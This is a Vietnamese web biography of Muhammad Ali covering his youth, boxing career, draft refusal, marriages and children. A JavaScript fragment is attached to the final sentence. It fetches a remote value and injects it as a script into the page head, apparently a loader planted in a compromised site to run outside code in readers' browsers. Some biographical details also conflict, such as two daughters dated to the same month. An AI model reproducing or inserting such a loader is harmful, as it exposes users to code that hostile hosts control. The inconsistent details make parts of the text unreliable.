Muhammad Ali, tên thật là Cassius Clay, là một trong những huyền thoại boxing vĩ đại nhất của thế kỷ 20. Cùng khám phá tiểu sử Muhammad Ali để hiểu rõ hơn về cuộc đời và sự nghiệp của nhà vô địch huyền thoại này.
Tiểu sử Muhammad Ali là gì?
Muhammad Ali (tên khai sinh Cassius Marcellus Clay Jr.; sinh ngày 17 tháng 1 năm 1942 – mất ngày 3 tháng 6 năm 2016) là một nhà hoạt động xã hội và võ sĩ quyền anh chuyên nghiệp người Mỹ, được biết đến với biệt danh “Người vĩ đại nhất”. Ali được xem là một trong những nhân vật thể thao vĩ đại nhất của thế kỷ 20 và thường được công nhận là võ sĩ hạng nặng vĩ đại nhất mọi thời đại.
Ông giữ danh hiệu hạng nặng từ năm 1964 đến 1970, và là nhà vô địch không thể tranh cãi từ năm 1974 đến 1978, cũng như nhà vô địch hạng nặng WBA và Ring từ năm 1978 đến 1979. Năm 1999, Ali được vinh danh là Vận động viên của thế kỷ bởi Sports Illustrated và Sports Personality của thế kỷ bởi BBC.
Sinh ra và lớn lên ở Louisville, Kentucky, Ali bắt đầu tập luyện quyền anh nghiệp dư từ khi mới 12 tuổi. Năm 18 tuổi, ông giành huy chương vàng ở hạng cân nhẹ tại Thế vận hội Mùa hè 1960 và chuyển sang thi đấu chuyên nghiệp vào cuối năm đó. Sau năm 1961, Ali chuyển sang đạo Hồi và chính thức đổi tên thành Muhammad Ali.
Vào ngày 25 tháng 2 năm 1964, ở tuổi 22, ông đã giành chức vô địch hạng nặng thế giới bằng cách đánh bại Sonny Liston. Năm 1966, Ali từ chối nhập ngũ vì lý do tôn giáo và đạo đức, dẫn đến việc bị kết tội trốn quân dịch và tước danh hiệu quyền anh. Mặc dù bản án của ông bị Tòa án Tối cao hủy bỏ vào năm 1971, ông đã phải nghỉ thi đấu gần bốn năm, làm mất đi một phần thời gian thi đấu đỉnh cao.
Ali nổi bật không chỉ nhờ tài năng quyền anh mà còn vì vai trò của ông trong phong trào phản chiến và quyền dân sự, đồng thời là một nhân vật biểu tượng cho người Mỹ gốc Phi. Ông từng liên kết với Quốc gia Hồi giáo (NOI) và sau đó theo đạo Hồi Sunni.
Ông đã tham gia nhiều trận đấu quyền anh lịch sử, bao gồm các trận đấu nổi tiếng với Sonny Liston, Joe Frazier (bao gồm Trận đấu của thế kỷ), Thrilla in Manila, và The Rumble in the Jungle với George Foreman. Ali không chỉ là một võ sĩ tài năng mà còn nổi tiếng với phong cách tự tin và khiêu khích, đồng thời là người tiên phong trong việc sử dụng các phương pháp tự do và thơ nói trong quảng cáo quyền anh.
Ngoài quyền anh, Ali còn đạt thành công trong âm nhạc với hai album phòng thu được đề cử giải Grammy, đồng thời là diễn viên và tác giả với hai cuốn tự truyện. Sau khi từ giã quyền anh vào năm 1981, ông tập trung vào tôn giáo, hoạt động từ thiện và hoạt động tích cực. Năm 1984, Ali công khai bị chẩn đoán mắc hội chứng Parkinson, và dù ông và các bác sĩ bác bỏ sự liên quan trực tiếp đến chấn thương quyền anh, tình trạng sức khỏe của ông đã ảnh hưởng đến sự xuất hiện công chúng của ông trong những năm cuối đời.
Thời thơ ấu và sự khởi đầu
Cassius Marcellus Clay Jr. (sinh ngày 17 tháng 1 năm 1942 tại Louisville, Kentucky) là tên khai sinh của Muhammad Ali. Ông có một người anh trai và được đặt tên theo cha mình, Cassius Marcellus Clay Sr., cùng với tên của một chính trị gia bãi nô nổi tiếng thế kỷ 19 từ Kentucky. Ông nội của cha Clay là John Clay và bà nội là Sallie Anne Clay; Eva, em gái của Clay, tin rằng Sallie có nguồn gốc từ Madagascar.
Ali là hậu duệ của những nô lệ miền Nam trước chiến tranh, chủ yếu là người gốc Phi, và có di sản gia đình từ Ireland và Anh. Ông cố ngoại của Ali, Abe Grady, di cư từ Ennis, County Clare, Ireland. Thử nghiệm DNA năm 2018 cho thấy Ali là hậu duệ của Archer Alexander, một cựu nô lệ và hình mẫu cho Đài tưởng niệm Giải phóng.
Cha của Ali, Cassius Sr., là một họa sĩ vẽ bảng hiệu và biển quảng cáo, trong khi mẹ ông, Odessa O’Grady Clay, là một người giúp việc gia đình. Mặc dù cha ông là tín đồ Giám lý, ông cho phép Odessa nuôi dưỡng Cassius Jr. và em trai Rudolph “Rudy” Clay (sau đổi tên thành Rahaman Ali) theo đạo Báp-tít. Cassius Jr. theo học tại trường trung học Central ở Louisville và mắc chứng khó đọc, điều này ảnh hưởng đến khả năng đọc và viết của ông.
Ali lớn lên trong bối cảnh phân biệt chủng tộc. Một lần, mẹ ông nhớ lại việc ông bị từ chối uống nước tại một cửa hàng vì màu da của mình, điều này đã gây ấn tượng sâu sắc với ông. Vụ sát hại Emmett Till năm 1955 cũng đã ảnh hưởng mạnh mẽ đến Ali, dẫn đến việc ông và một người bạn phá hoại một sân đường sắt địa phương để giải tỏa sự thất vọng. Ali sau này đã chia sẻ với con gái mình rằng câu chuyện về Emmett Till đã để lại dấu ấn sâu đậm trong tâm trí ông.
Tiểu sử về sự nghiệp
Nghiệp dư
Muhammad Ali, sinh ra với tên gọi Cassius Clay, bắt đầu sự nghiệp quyền anh của mình ở tuổi 12 sau khi nhận được lời khuyên từ huấn luyện viên Joe E. Martin. Khi bị cướp đánh và có ý định tự mình tìm tên trộm để giải quyết vấn đề, Martin khuyên Clay nên học quyền anh để bảo vệ bản thân. Được cuốn hút bởi quyền anh qua chương trình truyền hình “Tomorrow’s Champions,” Clay bắt đầu tập luyện với huấn luyện viên Fred Stoner và sau đó là Chuck Bodak.
Clay ra mắt quyền anh nghiệp dư vào năm 1954, chiến thắng trận đầu tiên của mình trước Ronnie O’Keefe. Trong thời gian sự nghiệp nghiệp dư, ông đã giành được nhiều danh hiệu, trong đó nổi bật là huy chương vàng hạng nặng nhẹ tại Thế vận hội Mùa hè 1960 tổ chức ở Rome. Chiến thắng này đã giúp Clay, lúc đó mới 18 tuổi, khẳng định được tài năng và tiềm năng của mình trong môn thể thao quyền anh.
Tuy nhiên, sau khi trở về Mỹ, Clay đã trải qua một sự kiện gây tranh cãi khi ông bị từ chối phục vụ tại một nhà hàng “chỉ dành cho người da trắng” ở Louisville, Kentucky. Tức giận với sự phân biệt chủng tộc, Clay đã ném huy chương vàng của mình xuống sông Ohio, biểu thị sự thất vọng và phẫn nộ đối với sự phân biệt đối xử mà ông phải đối mặt.
Mặc dù hành động này đã gây nhiều tranh cãi, nhưng huy chương vàng của ông không mất đi mãi mãi. Vào năm 1996, tại Thế vận hội mùa hè tổ chức ở Atlanta, Ali được trao huy chương vàng thay thế, đánh dấu sự công nhận lại thành công và ảnh hưởng của ông trong thể thao. Đây là một dấu ấn quan trọng trong sự nghiệp của Ali, phản ánh sự hòa giải và tôn vinh tài năng của một trong những võ sĩ vĩ đại nhất trong lịch sử quyền anh.
Quyền anh
Sự bắt đầu
Cassius Clay ra mắt chuyên nghiệp vào ngày 29 tháng 10 năm 1960, thắng Tunney Hunsaker trong hiệp sáu. Từ đó đến cuối năm 1963, Clay lập kỷ lục 19–0 với 15 trận thắng bằng loại trực tiếp. Anh đánh bại nhiều võ sĩ, bao gồm Tony Esperti, Jim Robinson, và cả Archie Moore. Những trận đấu đầu tiên của Clay không thiếu thử thách; anh đã bị hạ gục bởi Sonny Banks và Henry Cooper. Trong trận đấu với Cooper, Clay được cứu bởi tiếng chuông và tiếp tục thắng ở hiệp năm.
Trận đấu khó khăn nhất của Clay trong giai đoạn này là với Doug Jones vào ngày 13 tháng 3 năm 1963, nơi Clay được quyết định thắng mặc dù bị la ó từ khán giả.
Clay nổi bật với phong cách tự mãn và khoe khoang, khiến sự kiện thu hút đông đảo người xem. Sau khi rời trại của Archie Moore, Clay thuê Angelo Dundee làm huấn luyện viên.
Nhà vô địch hạng nặng thế giới
Cuối năm 1963, Clay trở thành ứng cử viên hàng đầu cho danh hiệu của Sonny Liston. Trận đấu diễn ra vào ngày 25 tháng 2 năm 1964 tại Bãi biển Miami. Mặc dù bị coi là kẻ yếu hơn, Clay đã chế nhạo Liston và gây ấn tượng với tốc độ và khả năng di chuyển. Clay chiến thắng bằng TKO khi Liston không trả lời tiếng chuông ở hiệp thứ bảy.
Sau trận đấu, Clay đổi tên thành Cassius X, và sau đó là Muhammad Ali khi gia nhập Quốc gia Hồi giáo. Trong trận tái đấu với Liston vào tháng 5 năm 1965, Ali chiến thắng bằng loại trực tiếp sau một cú đấm gây tranh cãi.
Chiến đấu với Patterson
Ali bảo vệ danh hiệu trước Floyd Patterson vào ngày 22 tháng 11 năm 1965. Mặc dù Ali có vẻ đùa giỡn với Patterson, trận đấu kéo dài 12 hiệp và Patterson phải bỏ cuộc do chấn thương.
Trận đấu chính
Sau khi thành lập công ty quảng cáo Main Bout, Muhammad Ali tiếp tục duy trì sự nghiệp quyền anh của mình với các trận đấu nổi bật ở Canada và Châu Âu. Một trong những trận đấu đáng nhớ nhất của Ali diễn ra vào ngày 14 tháng 11 năm 1966 tại Astrodome, Houston, nơi ông đối đầu với Cleveland Williams. Trận đấu này đã thu hút một lượng khán giả kỷ lục, với hơn 35.000 người tham dự. Ali thể hiện phong độ xuất sắc và giành chiến thắng bằng hình thức TKO (hạ gục kỹ thuật) ở hiệp ba.
Sau đó, vào ngày 6 tháng 2 năm 1967, Ali đấu với Ernie Terrell trong một trận đấu kéo dài 15 hiệp. Trận đấu này kết thúc với chiến thắng của Ali, nhưng không ít chỉ trích đã nảy sinh về cách anh đối xử với Terrell. Trong suốt trận đấu, Ali thường xuyên gọi Terrell bằng cái tên “Clay” — tên cũ của mình trước khi ông chính thức đổi tên thành Muhammad Ali — và điều này được cho là nhằm xúc phạm và làm nhục đối thủ. Ali đã không chỉ thắng trận đấu mà còn khiến nhiều người chỉ trích hành động của mình như là sự thiếu tôn trọng đối thủ.
Sau trận bảo vệ danh hiệu vào ngày 22 tháng 3 năm 1967, khi Ali đối đầu với Zora Folley và chiến thắng, một biến cố lớn đã xảy ra. Ali bị tước danh hiệu vô địch thế giới của mình do từ chối tham gia nghĩa vụ quân sự trong chiến tranh Việt Nam, một quyết định mà ông dựa trên lý do tôn giáo và chính trị. Ali bị kết án 5 năm tù và bị cấm thi đấu quyền anh trong thời gian này. Đây là một cú sốc lớn không chỉ đối với sự nghiệp của Ali mà còn đối với giới thể thao và công chúng.
Tiểu sử về đời tư
Muhammad Ali, tên thật là Cassius Clay, không chỉ nổi tiếng với những chiến tích trong boxing mà còn có một đời sống hôn nhân và gia đình phong phú với nhiều biến động. Dưới đây là cái nhìn chi tiết về các cuộc hôn nhân và con cái của ông:
Cuộc hôn nhân đầu tiên với Sonji Roi (1964-1966)
Ali kết hôn với Sonji Roi, một nữ phục vụ cocktail, vào ngày 14 tháng 8 năm 1964. Cuộc hôn nhân này bắt đầu sau buổi hẹn hò đầu tiên của họ và kéo dài khoảng một năm rưỡi. Mối quan hệ giữa Ali và Roi gặp trục trặc chủ yếu do sự khác biệt về tôn giáo và lối sống. Roi từ chối gia nhập Quốc gia Hồi giáo, một điều rất quan trọng đối với Ali vào thời điểm đó.
Ali không hài lòng với việc Roi thường xuyên trang điểm, ăn mặc hở hang và đi vào quán bar, những điều mà ông cho là không phù hợp với các giá trị của Quốc gia Hồi giáo. Cuộc hôn nhân kết thúc vào ngày 10 tháng 1 năm 1966, và Ali đã gửi một bức thư cho Roi trước khi hoàn tất thủ tục ly hôn, nói rằng cô đã “đánh đổi thiên đường để lấy địa ngục.” Sau khi ly hôn, Ali không bao giờ hoàn toàn vượt qua được cuộc hôn nhân này và giữ một mối quan hệ căng thẳng với Roi.
Cuộc hôn nhân thứ hai với Belinda Boyd (1967-1976)
Ngày 17 tháng 8 năm 1967, Ali kết hôn với Belinda Boyd, người sau này đổi tên thành Khalilah Ali sau khi gia nhập Quốc gia Hồi giáo. Belinda là một phần của gia đình cải sang Quốc gia Hồi giáo và họ có bốn người con: Maryum Ali (sinh năm 1968), một tác giả và rapper; cặp song sinh Jamillah Ali và Rasheda Ali (sinh năm 1970); và Muhammad Ali Jr. (sinh năm 1972). Mặc dù cuộc hôn nhân này ban đầu hạnh phúc, nó gặp vấn đề nghiêm trọng vì sự không chung thủy của Ali.
Cuộc hôn nhân của họ kết thúc vào năm 1976 sau nhiều cuộc tranh cãi và sự ngoại tình của Ali. Belinda và các con của họ vẫn giữ mối quan hệ thân thiết với Ali, đặc biệt là con gái của ông, Maryum, người đã theo đuổi sự nghiệp trong lĩnh vực âm nhạc và hoạt động xã hội.
Cuộc hôn nhân thứ ba với Veronica Porché (1977-1986)
Vào năm 1977, Ali kết hôn với Veronica Porché, một nữ diễn viên và người mẫu. Họ có hai cô con gái: Hana Ali (sinh tháng 12 năm 1977) và Laila Ali (sinh tháng 12 năm 1977). Mặc dù cuộc hôn nhân này bắt đầu với nhiều hy vọng, nó sớm bị ảnh hưởng bởi những cuộc tình một đêm và sự không chung thủy của Ali.
Veronica đã công khai về sự không chung thủy của Ali và cho rằng ông không hoàn toàn quan tâm đến các mối quan hệ tình cảm của mình. Cuộc hôn nhân kết thúc vào năm 1986, nhưng Porché đã tiếp tục duy trì mối quan hệ tốt đẹp với các con của họ và thỉnh thoảng xuất hiện trong các sự kiện công cộng cùng với các con của Ali.
Cuộc hôn nhân thứ tư với Yolanda “Lonnie” Williams (1986-2016)
Ngày 19 tháng 11 năm 1986, Ali kết hôn với Yolanda “Lonnie” Williams. Lonnie gặp Ali lần đầu khi còn là một cô bé sáu tuổi và sau này trở thành người chăm sóc chính cho ông. Vào thời điểm kết hôn, Ali và Lonnie đã nhận nuôi một cậu con trai tên là Asaad Amin (sinh năm 1986).
Lonnie đã đóng vai trò quan trọng trong việc quản lý tài sản và hình ảnh của Ali, thành lập Greatest of All Time, Inc. (G.O.A.T. Inc) để bảo vệ và cấp phép cho tài sản trí tuệ của Ali. Cuộc hôn nhân này kéo dài đến khi Ali qua đời vào năm 2016. Lonnie, cùng với Ali, đã sống ở nhiều nơi, bao gồm Scottsdale, Arizona và sau đó là Paradise Valley, Arizona.
Các mối quan hệ ngoài hôn nhân và con cái khác
Ali còn có những mối quan hệ ngoài hôn nhân, dẫn đến việc ông có thêm con. Một trong những người con ngoài hôn nhân đáng chú ý là Khaliah Ali, sinh năm 1974, từ mối quan hệ với Wanda Bolton, người sau này đổi tên thành Aaisha Ali. Khi vẫn kết hôn với Belinda, Ali đã tổ chức một buổi lễ Hồi giáo để kết hôn với Aaisha, mặc dù cuộc hôn nhân này không được công nhận về mặt pháp lý. Vào tháng 1 năm 1985, Aaisha kiện Ali vì không thanh toán tiền bạc, và vụ việc được giải quyết bằng cách Ali đồng ý thành lập một quỹ ủy thác trị giá 200.000 USD cho Khaliah.
Ali cũng có một cô con gái khác, Miya (sinh năm 1972), từ một mối quan hệ với Patricia Harvell. Thêm vào đó, có những người tự xưng là con của Ali, như Kiiursti Mensah-Ali và Osmon Williams, với các tuyên bố gây tranh cãi về quan hệ cha con. Kiiursti Mensah-Ali khẳng định rằng Ali đã chăm sóc cô trong một thời gian, nhưng mối liên lạc đã bị cắt đứt sau khi Ali kết hôn với Lonnie. Osmon Williams tự xưng là con trai của Ali và đã khởi kiện Ali vào năm 1981, nhưng vụ kiện đã bị bác bỏ do các cáo buộc không đủ chứng cứ.
Cuộc sống cuối đời và di sản
Sau khi nghỉ hưu, Ali sống những năm cuối đời cùng với Lonnie ở Scottsdale, Arizona. Vào tháng 1 năm 2007, họ đã bán ngôi nhà ở Berrien Springs, Michigan và mua một ngôi nhà ở phía đông Hạt Jefferson, Kentucky. Sau khi Ali qua đời vào ngày 3 tháng 6 năm 2016, ngôi nhà ở Kentucky và một số tài sản khác được bán đi, và Lonnie tiếp tục sống tại Paradise Valley, Arizona. Ali vẫn được nhớ đến không chỉ vì những thành tích thể thao vĩ đại của mình mà còn vì những ảnh hưởng sâu rộng của ông trong cuộc sống của gia đình và cộng đồng.
Con cái của Ali, đặc biệt là Laila Ali, đã tiếp tục làm rạng danh tên tuổi của ông trong giới thể thao, và các con khác của ông cũng đều có những thành tựu riêng. Ali là một hình mẫu phức tạp nhưng không thể phủ nhận ảnh hưởng của ông trong cả lĩnh vực thể thao và cuộc sống cá nhân.response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});
